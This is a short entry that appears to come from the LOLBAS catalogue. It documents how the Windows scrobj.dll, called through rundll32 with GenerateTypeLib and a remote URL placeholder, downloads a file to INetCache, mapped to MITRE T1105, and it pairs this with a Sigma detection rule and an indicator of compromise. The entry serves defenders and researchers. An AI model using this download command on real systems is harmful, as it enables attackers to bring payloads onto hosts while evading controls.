Scrobj.dll

Once executed, scrobj.dll attempts to load a file from the URL and saves it to INetCache.

Use Download file from remote location.

rundll32.exe C:\Windows\System32\scrobj.dll,GenerateTypeLib {REMOTEURL:.exe}

Evidence

Upstream reference

Environment

Local host

Context

user

Native

Download

MITRE

T1105

Detection

Sigma: github.com/SigmaHQ/sigma/blob/e1a713d264ac072bb76b5c4e5f41315a015d3f41/rules/windows/process_creation/proc_creation_win_rundll32_susp_activity.yml

IOC: Execution of rundll32.exe with 'GenerateTypeLib' and a protocol handler ('://') on the command line

Refs

twitter.com/eral4m/status/1479106975967240209

lolbas-project.github.io/lolbas/Libraries/Scrobj/